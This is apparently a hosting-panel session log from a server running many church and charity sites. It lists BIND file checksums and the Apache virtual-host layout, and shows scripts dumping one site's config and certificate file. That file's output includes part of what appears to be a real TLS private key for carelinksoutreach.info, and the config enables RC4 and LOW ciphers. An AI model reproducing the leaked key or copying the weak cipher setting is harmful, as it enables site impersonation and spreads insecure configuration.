MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:25:08: Establishing a connection
2026-01-03 19:25:09: 

PUT: /tmp/pkp763588

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:25:09: 

chmod 755 /tmp/pkp763588; /tmp/pkp763588; rm /tmp/pkp763588

2026-01-03 19:25:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:25:09: 

PUT: /tmp/pkp969287

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/carelinksoutreach_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:25:09: 

chmod 755 /tmp/pkp969287; /tmp/pkp969287; rm /tmp/pkp969287

2026-01-03 19:25:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinksoutreach_www_info.conf	1476

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:25:09: 

PUT: /tmp/pkp575036

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:25:09: 

chmod 755 /tmp/pkp575036; /tmp/pkp575036; rm /tmp/pkp575036

2026-01-03 19:25:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt	5417
c5:4c:16:c9:a4:15:b1:91:f8:a1:ef:bd:91:cd:6e:b3

-----BEGIN CERTIFICATE-----
MIIFLTCCBBWgAwIBAgISBYRvmeoARayzLXYruwiaXfDiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjI1WhcNMjYwMzI4MDUwMjI0WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAqenx9elU2IM3pshaACnv2kIRZo5QMABC2lrZL5Bydf1IgBR5QUCM
G6uJpzFYrXrVWZhplsXWCWPmFN5uiAPKY0N2ijhfhSUsgFHJd39AUTTEmTirR2oA
XcgnE4jlNMp6M5tbsnoAWzri0xZsB/aWPd4v61ww4ihVZXP9z7rvVwyRV61a+w0v
MTF3NGfb3LO45vvHb2JTkzf0I7Urx91wQJMhgqD7vfncrrzgZvQBRjBwpjYBtJ5o
Z1f0/VaROeRJB1acV4lBl1GH6W1AV9F2QxTnZTZQRkLBqTpQuoSF0EWLnUDtKBpy
XmQ66UEYc/8xJS3nF+/1ppwt3bpRoP9jBQIDAQABo4ICSzCCAkcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBSZJd3uTNeaMHKhHiMBcakl6dxAqDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOTkuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbY4upwQAABAMARzBFAiEA0r0PwrlS
6ZsWraQnIZ+syTXFey9UhT5OwczZltSt+SACIDBsTeUsVZYXogXJpkfh4/G3NX0r
xR1mHmw/1eH+0Vo4AH8Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcA
AAGbY4us/gAIAAAFAC0O3qkEAwBIMEYCIQC4vgxpyIcK5YY7VPmgXhP9F0p1acVm
dJdEsanhgSZKlQIhAPVc0AUy5xBk0TK0Z7rXmJT4I63IBwsy9Tc4BH4v1FqGMA0G
CSqGSIb3DQEBCwUAA4IBAQAdY/6EKsUDd0+9kH5xYdnBFO7ZG99o3/031fB+qrAA
IDH5cXNwbWg0K39E2xCT++2kKJ3eHRVIu/CrwTFDz3BMsrIB8pB3PY9N5lnKFdAD
E0FmRamH5k1Q5npZq0PdyyZNptu8KNd0e1xF7VQCH8yRk62X3kw0KEUqyDtSiXad
PfzAYt2ZHWV66/VPR4IbLjbzz3Gz68/GOIWfvoMCmSThz8PaPTNj8GRW7MnhtV8g
7e3QFHjtoUu4b7OuN+uUSHeWQKj2muaq/HxK5iToUjvKjKi/bgJKJX/S/TvoA9lX
T46uBwIhQB1tLXpp9IBbbv/fAFcOUVpoMa5WrsJKXBj6
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp6fH16VTYgzem
yFoAKe/aQhFmjlAwAELaWtkvkHJ1/UiAFHlBQIwbq4mnMVitetVZmGmWxdYJY+YU
3m6IA8pjQ3aKOF+FJSyAUcl3f0BRNMSZOKtHagBdyCcTiOU0ynozm1uyegBbOuLT
FmwH9pY93i/rXDDiKFVlc/3Puu9XDJFXrVr7DS8xMXc0Z9vcs7jm+8dvYlOTN/Qj
tSvH3XBAkyGCoPu9+dyuvOBm9AFGMHCmNgG0nmhnV/T9VpE55EkHVpxXiUGXUYfp
bUBX0XZDFOdlNlBGQsGpOlC6hIXQRYudQO0oGnJeZDrpQRhz/zElLecX7/WmnC3d
ulGg/2MFAgMBAAECggEAEMB9Qn7GsVypLUsDfztN587WYwNqPyacxg++6e7r2gYm
vQ9Hr89AAQULL+4FjX+sGTFATRp5h7jPA6+1ELk5nZ/BHXosBgyBiVqG6mkkBjLq
+dBEfWijW0ZTKUc4kdkvQyHwtcqheQfNOn0zbsrjn9CQGOb19YDUf97NCfX8Mttj
4F5OJ1rMaQw/9znbjpohaROl7q524FH4kfVfH9GvAOtSbx4tryCo5V+I1Ns18Mbm
DqmBcPc1d36w9Yd6UZhnChuCIkcJeHAe+bZpMXimwQW0AcqvbYcs3luuTYuMsq5x
7kCl48t5cOpMa4pn473wTodduVUr4RmyI8EO6gWU4QKBgQDV1GJ/dQqajkxUFuaF
XSmp1hfQfg6dTjfSvgUXvsB343xUTd1JtINjuTw2G4IkKwTThcURN34ifVrSQQv4
